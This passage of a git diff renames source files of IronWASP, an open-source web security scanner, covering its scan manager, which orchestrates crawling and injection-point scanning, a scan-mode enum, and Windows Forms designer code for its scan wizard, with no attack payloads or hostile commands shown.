content - "mp4","aaf","3gp","wmv","avi","fla","sol","mov","mpeg","mpg","mpe","ogg","rm",//video content - }; - - internal static void StartScan() - { - try - { - CanStop = true; - Stop(true); - CanStop = false; - Stopped = false; - ScanManagerThread = new Thread(DoScanBlock); - ScanManagerThread.Start(); - } - catch(Exception Exp) - { - IronUI.ShowConsoleStatus("Error: " + Exp.Message, true); - } - } - - static void DoScanBlock() - { - try - { - DoScan(); - } - catch(Exception Exp) - { - IronException.Report("Error in ScanManager", Exp); - try - { - Stop(); - } - catch { } - } - } - - static void DoScan() - { - Spider = new Crawler(); - try - { - Spider.PrimaryHost = PrimaryHost; - Spider.BaseUrl = BaseUrl; - Spider.StartingUrl = StartingUrl; - Spider.PerformDirAndFileGuessing = PerformDirAndFileGuessing; - Spider.IncludeSubDomains = IncludeSubDomains; - Spider.HTTP = HTTP; - Spider.HTTPS = HTTPS; - Spider.UrlsToAvoid = UrlsToAvoid; - Spider.HostsToInclude = HostsToInclude; - Spider.SpecialHeader = SpecialHeader; - - Spider.Start(); - } - catch(Exception Exp) - { - IronException.Report("Error starting Crawler", Exp); - try - { - Stop(); - } - catch { } - return; - } - - ScanItemUniquenessChecker UniqueChecker = new ScanItemUniquenessChecker(CanPromptUser); - - List ScanIDs = new List(); - bool ScanActive = true; - List ActivePlugins = ActivePlugin.List(); - int TotalRequestsCrawled = 0; - int TotalScanJobsCreated = 0; - int TotalScanJobsCompleted = 0; - List ScannedRequests = new List(); - int SleepCounter = 0; - - while (ScanActive) - { - ScanActive = false; - List Requests = Spider.GetCrawledRequests(); - if (Stopped) return; - if (Requests.Count > 0 || Spider.IsActive()) - { - ScanActive = true; - if (CrawlAndScan) - { - TotalRequestsCrawled = TotalRequestsCrawled + Requests.Count; - //update the ui with the number of requests crawled - foreach (Request Req in Requests) - { - if (Stopped) return; - if (!CanScan(Req)) continue; - if (!UniqueChecker.IsUniqueToScan(Req, ScannedRequests, false)) continue; - try - { - Scanner S = new Scanner(Req); - foreach (string Check in Checks) - { - S.AddCheck(Check); - } - if (InjectQuery) - { - if (QueryWhiteList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Query.GetNames()) - { - if (QueryWhiteList.Contains(Name)) S.InjectQuery(Name); - } - } - else if (QueryBlackList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Query.GetNames()) - { - if (!QueryBlackList.Contains(Name)) S.InjectQuery(Name); - } - } - else - { - S.InjectQuery(); - } - } - - if (InjectBody) - { - if (BodyWhiteList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Body.GetNames()) - { - if (BodyWhiteList.Contains(Name)) S.InjectBody(Name); - } - } - else if (BodyBlackList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Body.GetNames()) - { - if (!BodyBlackList.Contains(Name)) S.InjectBody(Name); - } - } - else - { - S.InjectBody(); - } - } - - if (InjectCookie) - { - if (CookieWhiteList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Cookie.GetNames()) - { - if (CookieWhiteList.Contains(Name)) S.InjectCookie(Name); - } - } - else if (CookieBlackList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Cookie.GetNames()) - { - if (!CookieBlackList.Contains(Name)) S.InjectCookie(Name); - } - } - else - { - S.InjectCookie(); - } - } - - if (InjectHeaders) - { - if (HeaderWhiteList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Headers.GetNames()) - { - if (HeaderWhiteList.Contains(Name)) S.InjectHeaders(Name); - } - } - else if (HeaderBlackList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Headers.GetNames()) - { - if (!HeaderBlackList.Contains(Name)) S.InjectHeaders(Name); - } - } - else - { - S.InjectHeaders(); - } - } - - if (InjectUrlPathParts) - { - if (S.OriginalRequest.Query.Count == 0 && S.OriginalRequest.File.Length == 0) - S.InjectUrl(); - } - - if (S.InjectionPointsCount == 0) continue; - TotalScanJobsCreated++; - if (Stopped) return; - int ScanID = S.LaunchScan(); - if (Stopped) - { - Stop(true); - return; - } - if (ScanID > 0) - { - ScannedRequests.Add(Req); - ScanIDs.Add(ScanID); - } - } - catch(Exception Exp) - { - IronException.Report(string.Format("Error creating Scan Job with Request - {0}", Req.Url), Exp); - } - } - } - } - if (CrawlAndScan) - { - List ScanIDsToRemove = new List(); - List AbortedScanIDs = Scanner.GetAbortedScanIDs(); - List CompletedScanIDs = Scanner.GetCompletedScanIDs(); - for (int i = 0; i < ScanIDs.Count; i++) - { - if (Stopped) return; - if (CompletedScanIDs.Contains(ScanIDs[i])) - { - ScanIDsToRemove.Add(i); - TotalScanJobsCompleted++; - } - else if (AbortedScanIDs.Contains(ScanIDs[i])) - { - ScanIDsToRemove.Add(i); - } - } - for (int i = 0; i < ScanIDsToRemove.Count; i++) - { - if (Stopped) return; - ScanIDs.RemoveAt(ScanIDsToRemove[i] - i); - } - } - if (ScanActive) - { - Thread.Sleep(2000); - } - else - { - if (ScanIDs.Count > 0) - { - ScanActive = true; - Thread.Sleep(5000); - } - else if (SleepCounter < 10) - { - ScanActive = true; - Thread.Sleep(2000); - SleepCounter = SleepCounter + 2; - } - } - if (Stopped) return; - IronUI.UpdateConsoleCrawledRequestsCount(TotalRequestsCrawled); - IronUI.UpdateConsoleScanJobsCreatedCount(TotalScanJobsCreated); - IronUI.UpdateConsoleScanJobsCompletedCount(TotalScanJobsCompleted); - } - if (Stopped) return; - Stop(); - } - - - internal static void Pause() - { - - } - - internal static void Resume() - { - - } - - internal static void Stop() - { - Stop(false); - } - - internal static void Stop(bool SameThread) - { - Stopped = true; - if (SameThread) - { - DoStop(); - } - else - { - Thread T = new Thread(DoStop); - T.Start(); - } - } - - internal static void DoStop() - { - try - { - Stopped = true; - if (ScanManagerThread != null) - { - if (ScanManagerThread.ThreadState == ThreadState.Running && !CanStop) - { - //ask if user is sure about stopping scan and then call... - EndAll(); - } - else - { - EndAll(); - } - } - else - { - IronUI.UpdateConsoleControlsStatus(false); - } - } - catch(Exception Exp) - { - IronException.Report("Error stopping the Scan", Exp); - } - } - - static void EndAll() - { - try - { - //if (Thread.CurrentThread.ManagedThreadId != ScanManagerThread.ManagedThreadId) - //ScanManagerThread.Abort(); - } - catch { } - try - { - Spider.Stop(); - } - catch { } - Scanner.StopAll(); - IronUI.UpdateConsoleControlsStatus(false); - } - - static bool IsScanActive() - { - return true; - } - - static bool CanScan(Request Req) - { - string File = Req.File.Trim().ToLower(); - if (ExtenionsToAvoid.Contains(File)) - return false; - else - return true; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using System.Threading; + +namespace IronWASP +{ + internal class ScanManager + { + internal static ScanMode Mode = ScanMode.Default; + internal static Thread ScanManagerThread; + static Crawler Spider; + + static bool Stopped = false; + + internal static List UrlsToAvoid = new List(); + internal static List HostsToInclude = new List(); + internal static bool HTTP = false; + internal static bool HTTPS = false; + internal static SessionPlugin SessionHandler = new SessionPlugin(); + internal static string StartingUrl = "/"; + internal static string BaseUrl = "/"; + internal static string PrimaryHost = ""; + internal static bool PerformDirAndFileGuessing = true; + internal static bool IncludeSubDomains = false; + internal static bool CrawlAndScan = true; + + internal static bool InjectUrlPathParts = false; + internal static bool InjectQuery = false; + internal static bool InjectBody = false; + internal static bool InjectCookie = false; + internal static bool InjectHeaders = false; + internal static bool InjectQueryName = false; + internal static bool InjectBodyName = false; + internal static bool InjectCookieName = false; + internal static bool InjectHeaderName = false; + + internal static List QueryBlackList = new List(); + internal static List QueryWhiteList = new List(); + internal static List BodyBlackList = new List(); + internal static List BodyWhiteList = new List(); + internal static List CookieBlackList = new List(); + internal static List CookieWhiteList = new List(); + internal static List HeaderBlackList = new List(); + internal static List HeaderWhiteList = new List(); + + internal static List Checks = new List(); + + internal static bool CanPromptUser = false; + + internal static string[] SpecialHeader = new string[2]; + + internal static bool CanStop = false; + + static List ExtenionsToAvoid = new List() { + "jpg", "png", "gif","bmp", "ico","exif","jpeg",//image files + "7z", "zip", "rar","tar", "gz","tgz","bzip", "bzip2","dmg","cab",//compressed files + "html", "htm", "js", "css","xhtml","svg","svgz","bak",//static web content + "swf","exe", "jar", "msi","deb","bin","class","war",//executable content + "rtf", "txt", "pdf", "doc", "docx", "ppt", "pptx","xls","xlsx", "iso","xml","json","xps","tex","csv","pps","tsv","db","log","rss",//document formats + "mp3","wav","m4a","m4p","aac","dat",//audio content + "mp4","aaf","3gp","wmv","avi","fla","sol","mov","mpeg","mpg","mpe","ogg","rm",//video content + }; + + internal static void StartScan() + { + try + { + CanStop = true; + Stop(true); + CanStop = false; + Stopped = false; + ScanManagerThread = new Thread(DoScanBlock); + ScanManagerThread.Start(); + } + catch(Exception Exp) + { + IronUI.ShowConsoleStatus("Error: " + Exp.Message, true); + } + } + + static void DoScanBlock() + { + try + { + DoScan(); + } + catch(Exception Exp) + { + IronException.Report("Error in ScanManager", Exp); + try + { + Stop(); + } + catch { } + } + } + + static void DoScan() + { + Spider = new Crawler(); + try + { + Spider.PrimaryHost = PrimaryHost; + Spider.BaseUrl = BaseUrl; + Spider.StartingUrl = StartingUrl; + Spider.PerformDirAndFileGuessing = PerformDirAndFileGuessing; + Spider.IncludeSubDomains = IncludeSubDomains; + Spider.HTTP = HTTP; + Spider.HTTPS = HTTPS; + Spider.UrlsToAvoid = UrlsToAvoid; + Spider.HostsToInclude = HostsToInclude; + Spider.SpecialHeader = SpecialHeader; + + Spider.Start(); + } + catch(Exception Exp) + { + IronException.Report("Error starting Crawler", Exp); + try + { + Stop(); + } + catch { } + return; + } + + ScanItemUniquenessChecker UniqueChecker = new ScanItemUniquenessChecker(CanPromptUser); + + List ScanIDs = new List(); + bool ScanActive = true; + List ActivePlugins = ActivePlugin.List(); + int TotalRequestsCrawled = 0; + int TotalScanJobsCreated = 0; + int TotalScanJobsCompleted = 0; + List ScannedRequests = new List(); + int SleepCounter = 0; + + while (ScanActive) + { + ScanActive = false; + List Requests = Spider.GetCrawledRequests(); + if (Stopped) return; + if (Requests.Count > 0 || Spider.IsActive()) + { + ScanActive = true; + if (CrawlAndScan) + { + TotalRequestsCrawled = TotalRequestsCrawled + Requests.Count; + //update the ui with the number of requests crawled + foreach (Request Req in Requests) + { + if (Stopped) return; + if (!CanScan(Req)) continue; + if (!UniqueChecker.IsUniqueToScan(Req, ScannedRequests, false)) continue; + try + { + Scanner S = new Scanner(Req); + foreach (string Check in Checks) + { + S.AddCheck(Check); + } + if (InjectQuery) + { + if (QueryWhiteList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Query.GetNames()) + { + if (QueryWhiteList.Contains(Name)) S.InjectQuery(Name); + } + } + else if (QueryBlackList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Query.GetNames()) + { + if (!QueryBlackList.Contains(Name)) S.InjectQuery(Name); + } + } + else + { + S.InjectQuery(); + } + } + + if (InjectBody) + { + if (BodyWhiteList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Body.GetNames()) + { + if (BodyWhiteList.Contains(Name)) S.InjectBody(Name); + } + } + else if (BodyBlackList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Body.GetNames()) + { + if (!BodyBlackList.Contains(Name)) S.InjectBody(Name); + } + } + else + { + S.InjectBody(); + } + } + + if (InjectCookie) + { + if (CookieWhiteList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Cookie.GetNames()) + { + if (CookieWhiteList.Contains(Name)) S.InjectCookie(Name); + } + } + else if (CookieBlackList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Cookie.GetNames()) + { + if (!CookieBlackList.Contains(Name)) S.InjectCookie(Name); + } + } + else + { + S.InjectCookie(); + } + } + + if (InjectHeaders) + { + if (HeaderWhiteList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Headers.GetNames()) + { + if (HeaderWhiteList.Contains(Name)) S.InjectHeaders(Name); + } + } + else if (HeaderBlackList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Headers.GetNames()) + { + if (!HeaderBlackList.Contains(Name)) S.InjectHeaders(Name); + } + } + else + { + S.InjectHeaders(); + } + } + + if (InjectUrlPathParts) + { + if (S.OriginalRequest.Query.Count == 0 && S.OriginalRequest.File.Length == 0) + S.InjectUrl(); + } + + if (S.InjectionPointsCount == 0) continue; + TotalScanJobsCreated++; + if (Stopped) return; + int ScanID = S.LaunchScan(); + if (Stopped) + { + Stop(true); + return; + } + if (ScanID > 0) + { + ScannedRequests.Add(Req); + ScanIDs.Add(ScanID); + } + } + catch(Exception Exp) + { + IronException.Report(string.Format("Error creating Scan Job with Request - {0}", Req.Url), Exp); + } + } + } + } + if (CrawlAndScan) + { + List ScanIDsToRemove = new List(); + List AbortedScanIDs = Scanner.GetAbortedScanIDs(); + List CompletedScanIDs = Scanner.GetCompletedScanIDs(); + for (int i = 0; i < ScanIDs.Count; i++) + { + if (Stopped) return; + if (CompletedScanIDs.Contains(ScanIDs[i])) + { + ScanIDsToRemove.Add(i); + TotalScanJobsCompleted++; + } + else if (AbortedScanIDs.Contains(ScanIDs[i])) + { + ScanIDsToRemove.Add(i); + } + } + for (int i = 0; i < ScanIDsToRemove.Count; i++) + { + if (Stopped) return; + ScanIDs.RemoveAt(ScanIDsToRemove[i] - i); + } + } + if (ScanActive) + { + Thread.Sleep(2000); + } + else + { + if (ScanIDs.Count > 0) + { + ScanActive = true; + Thread.Sleep(5000); + } + else if (SleepCounter < 10) + { + ScanActive = true; + Thread.Sleep(2000); + SleepCounter = SleepCounter + 2; + } + } + if (Stopped) return; + IronUI.UpdateConsoleCrawledRequestsCount(TotalRequestsCrawled); + IronUI.UpdateConsoleScanJobsCreatedCount(TotalScanJobsCreated); + IronUI.UpdateConsoleScanJobsCompletedCount(TotalScanJobsCompleted); + } + if (Stopped) return; + Stop(); + } + + + internal static void Pause() + { + + } + + internal static void Resume() + { + + } + + internal static void Stop() + { + Stop(false); + } + + internal static void Stop(bool SameThread) + { + Stopped = true; + if (SameThread) + { + DoStop(); + } + else + { + Thread T = new Thread(DoStop); + T.Start(); + } + } + + internal static void DoStop() + { + try + { + Stopped = true; + if (ScanManagerThread != null) + { + if (ScanManagerThread.ThreadState == ThreadState.Running && !CanStop) + { + //ask if user is sure about stopping scan and then call... + EndAll(); + } + else + { + EndAll(); + } + } + else + { + IronUI.UpdateConsoleControlsStatus(false); + } + } + catch(Exception Exp) + { + IronException.Report("Error stopping the Scan", Exp); + } + } + + static void EndAll() + { + try + { + //if (Thread.CurrentThread.ManagedThreadId != ScanManagerThread.ManagedThreadId) + //ScanManagerThread.Abort(); + } + catch { } + try + { + Spider.Stop(); + } + catch { } + Scanner.StopAll(); + IronUI.UpdateConsoleControlsStatus(false); + } + + static bool IsScanActive() + { + return true; + } + + static bool CanScan(Request Req) + { + string File = Req.File.Trim().ToLower(); + if (ExtenionsToAvoid.Contains(File)) + return false; + else + return true; + } + } +} diff --git a/IronWASP/ScanMode.cs b/Iron/ScanMode.cs similarity index 96% rename from IronWASP/ScanMode.cs rename to Iron/ScanMode.cs index 01795dd..e067440 100644 --- a/IronWASP/ScanMode.cs +++ b/Iron/ScanMode.cs @@ -1,31 +1,31 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public enum ScanMode - { - Default, - UserConfigured, - Interactive - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public enum ScanMode + { + Default, + UserConfigured, + Interactive + } +} diff --git a/IronWASP/ScanSelectedWizard.Designer.cs b/Iron/ScanSelectedWizard.Designer.cs similarity index 98% rename from IronWASP/ScanSelectedWizard.Designer.cs rename to Iron/ScanSelectedWizard.Designer.cs index 27e5003..ae34395 100644 --- a/IronWASP/ScanSelectedWizard.Designer.cs +++ b/Iron/ScanSelectedWizard.Designer.cs @@ -1,1272 +1,1272 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class ScanSelectedWizard - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ScanSelectedWizard)); - this.BaseTabs = new System.Windows.Forms.TabControl(); - this.Zero = new System.Windows.Forms.TabPage(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.ScanTemplateNameLbl = new System.Windows.Forms.Label(); - this.Step0StatusTB = new System.Windows.Forms.TextBox(); - this.LoadTemplateLL = new System.Windows.Forms.LinkLabel(); - this.label11 = new System.Windows.Forms.Label(); - this.CancelBtn = new System.Windows.Forms.Button(); - this.StepZeroNextBtn = new System.Windows.Forms.Button(); - this.One = new System.Windows.Forms.TabPage(); - this.Step1StatusTB = new System.Windows.Forms.TextBox(); - this.ScanAllPluginsCB = new System.Windows.Forms.CheckBox(); - this.StepOnePreviousBtn = new System.Windows.Forms.Button(); - this.StepOneNextBtn = new System.Windows.Forms.Button(); - this.label23 = new System.Windows.Forms.Label(); - this.InjectNamesCB = new System.Windows.Forms.CheckBox(); - this.ScanPluginsGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.label24 = new System.Windows.Forms.Label(); - this.InjectHeadersCB = new System.Windows.Forms.CheckBox(); - this.InjectCookieCB = new System.Windows.Forms.CheckBox(); - this.InjectBodyCB = new System.Windows.Forms.CheckBox(); - this.InjectQueryCB = new System.Windows.Forms.CheckBox(); - this.InjectUrlPathPartsCB = new System.Windows.Forms.CheckBox(); - this.Two = new System.Windows.Forms.TabPage(); - this.Step2StatusTB = new System.Windows.Forms.TextBox(); - this.label25 = new System.Windows.Forms.Label(); - this.label26 = new System.Windows.Forms.Label(); - this.StepTwoPreviousBtn = new System.Windows.Forms.Button(); - this.StepTwoNextBtn = new System.Windows.Forms.Button(); - this.groupBox6 = new System.Windows.Forms.GroupBox(); - this.HeadersParametersFilterCB = new System.Windows.Forms.CheckBox(); - this.HeadersParametersPlusTB = new System.Windows.Forms.TextBox(); - this.HeadersParametersMinusTB = new System.Windows.Forms.TextBox(); - this.HeadersParametersPlusRB = new System.Windows.Forms.RadioButton(); - this.HeadersParametersMinusRB = new System.Windows.Forms.RadioButton(); - this.groupBox7 = new System.Windows.Forms.GroupBox(); - this.QueryParametersFilterCB = new System.Windows.Forms.CheckBox(); - this.QueryParametersPlusTB = new System.Windows.Forms.TextBox(); - this.QueryParametersMinusTB = new System.Windows.Forms.TextBox(); - this.QueryParametersPlusRB = new System.Windows.Forms.RadioButton(); - this.QueryParametersMinusRB = new System.Windows.Forms.RadioButton(); - this.groupBox8 = new System.Windows.Forms.GroupBox(); - this.BodyParametersFilterCB = new System.Windows.Forms.CheckBox(); - this.BodyParametersPlusTB = new System.Windows.Forms.TextBox(); - this.BodyParametersMinusTB = new System.Windows.Forms.TextBox(); - this.BodyParametersPlusRB = new System.Windows.Forms.RadioButton(); - this.BodyParametersMinusRB = new System.Windows.Forms.RadioButton(); - this.groupBox9 = new System.Windows.Forms.GroupBox(); - this.CookieParametersFilterCB = new System.Windows.Forms.CheckBox(); - this.CookieParametersPlusTB = new System.Windows.Forms.TextBox(); - this.CookieParametersMinusTB = new System.Windows.Forms.TextBox(); - this.CookieParametersPlusRB = new System.Windows.Forms.RadioButton(); - this.CookieParametersMinusRB = new System.Windows.Forms.RadioButton(); - this.Three = new System.Windows.Forms.TabPage(); - this.ScanBranchSessionPluginsCombo = new System.Windows.Forms.ComboBox(); - this.ScanThreadLimitCB = new System.Windows.Forms.CheckBox(); - this.textBox4 = new System.Windows.Forms.TextBox(); - this.FormatGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn2 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.LaunchSessionPluginCreationAssistantLL = new System.Windows.Forms.LinkLabel(); - this.Step3StatusTB = new System.Windows.Forms.TextBox(); - this.StepThreePreviousBtn = new System.Windows.Forms.Button(); - this.StepThreeNextBtn = new System.Windows.Forms.Button(); - this.RefreshSessListLL = new System.Windows.Forms.LinkLabel(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.label5 = new System.Windows.Forms.Label(); - this.Four = new System.Windows.Forms.TabPage(); - this.ScanBranchErrorTB = new System.Windows.Forms.TextBox(); - this.ScanBranchStatsPanel = new System.Windows.Forms.Panel(); - this.ScanBranchProgressLbl = new System.Windows.Forms.Label(); - this.ScanBranchProgressBar = new System.Windows.Forms.ProgressBar(); - this.textBox3 = new System.Windows.Forms.TextBox(); - this.SaveTemplateLL = new System.Windows.Forms.LinkLabel(); - this.label29 = new System.Windows.Forms.Label(); - this.StepFourPreviousBtn = new System.Windows.Forms.Button(); - this.FinalBtn = new System.Windows.Forms.Button(); - this.SaveTemplateDialog = new System.Windows.Forms.SaveFileDialog(); - this.OpenTemplateDialog = new System.Windows.Forms.OpenFileDialog(); - this.BaseTabs.SuspendLayout(); - this.Zero.SuspendLayout(); - this.One.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).BeginInit(); - this.Two.SuspendLayout(); - this.groupBox6.SuspendLayout(); - this.groupBox7.SuspendLayout(); - this.groupBox8.SuspendLayout(); - this.groupBox9.SuspendLayout(); - this.Three.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.FormatGrid)).BeginInit(); - this.Four.SuspendLayout(); - this.ScanBranchStatsPanel.SuspendLayout(); - this.SuspendLayout(); - // - // BaseTabs - // - this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; - this.BaseTabs.Controls.Add(this.Zero); - this.BaseTabs.Controls.Add(this.One); - this.BaseTabs.Controls.Add(this.Two); - this.BaseTabs.Controls.Add(this.Three); - this.BaseTabs.Controls.Add(this.Four); - this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseTabs.Location = new System.Drawing.Point(0, 0); - this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.BaseTabs.Name = "BaseTabs"; - this.BaseTabs.Padding = new System.Drawing.Point(0, 0); - this.BaseTabs.SelectedIndex = 0; - this.BaseTabs.Size = new System.Drawing.Size(834, 361); - this.BaseTabs.TabIndex = 105; - this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); - // - // Zero - // - this.Zero.Controls.Add(this.textBox2); - this.Zero.Controls.Add(this.ScanTemplateNameLbl); - this.Zero.Controls.Add(this.Step0StatusTB); - this.Zero.Controls.Add(this.LoadTemplateLL); - this.Zero.Controls.Add(this.label11); - this.Zero.Controls.Add(this.CancelBtn); - this.Zero.Controls.Add(this.StepZeroNextBtn); - this.Zero.Location = new System.Drawing.Point(4, 25); - this.Zero.Margin = new System.Windows.Forms.Padding(0); - this.Zero.Name = "Zero"; - this.Zero.Size = new System.Drawing.Size(826, 332); - this.Zero.TabIndex = 0; - this.Zero.Text = " Start "; - this.Zero.UseVisualStyleBackColor = true; - // - // textBox2 - // - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Location = new System.Drawing.Point(12, 28); - this.textBox2.Multiline = true; - this.textBox2.Name = "textBox2"; - this.textBox2.ReadOnly = true; - this.textBox2.Size = new System.Drawing.Size(798, 48); - this.textBox2.TabIndex = 152; - this.textBox2.TabStop = false; - this.textBox2.Text = "The Requests from the selected log items will be scanned based on your requiremen" + - "ts.\r\n\r\nThis wizard will help you in configuring this scan, click on \'Next Step\' " + - "to proceed."; - // - // ScanTemplateNameLbl - // - this.ScanTemplateNameLbl.AutoSize = true; - this.ScanTemplateNameLbl.Location = new System.Drawing.Point(172, 200); - this.ScanTemplateNameLbl.Name = "ScanTemplateNameLbl"; - this.ScanTemplateNameLbl.Size = new System.Drawing.Size(220, 13); - this.ScanTemplateNameLbl.TabIndex = 137; - this.ScanTemplateNameLbl.Text = " "; - // - // Step0StatusTB - // - this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step0StatusTB.BackColor = System.Drawing.Color.White; - this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step0StatusTB.ForeColor = System.Drawing.Color.Red; - this.Step0StatusTB.Location = new System.Drawing.Point(127, 289); - this.Step0StatusTB.Multiline = true; - this.Step0StatusTB.Name = "Step0StatusTB"; - this.Step0StatusTB.Size = new System.Drawing.Size(577, 35); - this.Step0StatusTB.TabIndex = 136; - this.Step0StatusTB.TabStop = false; - this.Step0StatusTB.Visible = false; - // - // LoadTemplateLL - // - this.LoadTemplateLL.AutoSize = true; - this.LoadTemplateLL.Location = new System.Drawing.Point(350, 173); - this.LoadTemplateLL.Name = "LoadTemplateLL"; - this.LoadTemplateLL.Size = new System.Drawing.Size(125, 13); - this.LoadTemplateLL.TabIndex = 8; - this.LoadTemplateLL.TabStop = true; - this.LoadTemplateLL.Text = "Load Scan Template File"; - this.LoadTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LoadTemplateLL_LinkClicked); - // - // label11 - // - this.label11.AutoSize = true; - this.label11.Location = new System.Drawing.Point(8, 173); - this.label11.Name = "label11"; - this.label11.Size = new System.Drawing.Size(336, 13); - this.label11.TabIndex = 7; - this.label11.Text = "If you have saved a Scan Configuration template then you can use it: "; - // - // CancelBtn - // - this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.CancelBtn.Location = new System.Drawing.Point(11, 300); - this.CancelBtn.Name = "CancelBtn"; - this.CancelBtn.Size = new System.Drawing.Size(105, 23); - this.CancelBtn.TabIndex = 6; - this.CancelBtn.Text = "Cancel"; - this.CancelBtn.UseVisualStyleBackColor = true; - this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); - // - // StepZeroNextBtn - // - this.StepZeroNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepZeroNextBtn.Location = new System.Drawing.Point(713, 299); - this.StepZeroNextBtn.Name = "StepZeroNextBtn"; - this.StepZeroNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepZeroNextBtn.TabIndex = 5; - this.StepZeroNextBtn.Text = "Next Step ->"; - this.StepZeroNextBtn.UseVisualStyleBackColor = true; - this.StepZeroNextBtn.Click += new System.EventHandler(this.StepZeroNextBtn_Click); - // - // One - // - this.One.Controls.Add(this.Step1StatusTB); - this.One.Controls.Add(this.ScanAllPluginsCB); - this.One.Controls.Add(this.StepOnePreviousBtn); - this.One.Controls.Add(this.StepOneNextBtn); - this.One.Controls.Add(this.label23); - this.One.Controls.Add(this.InjectNamesCB); - this.One.Controls.Add(this.ScanPluginsGrid); - this.One.Controls.Add(this.label24); - this.One.Controls.Add(this.InjectHeadersCB); - this.One.Controls.Add(this.InjectCookieCB); - this.One.Controls.Add(this.InjectBodyCB); - this.One.Controls.Add(this.InjectQueryCB); - this.One.Controls.Add(this.InjectUrlPathPartsCB); - this.One.Location = new System.Drawing.Point(4, 25); - this.One.Name = "One"; - this.One.Size = new System.Drawing.Size(826, 332); - 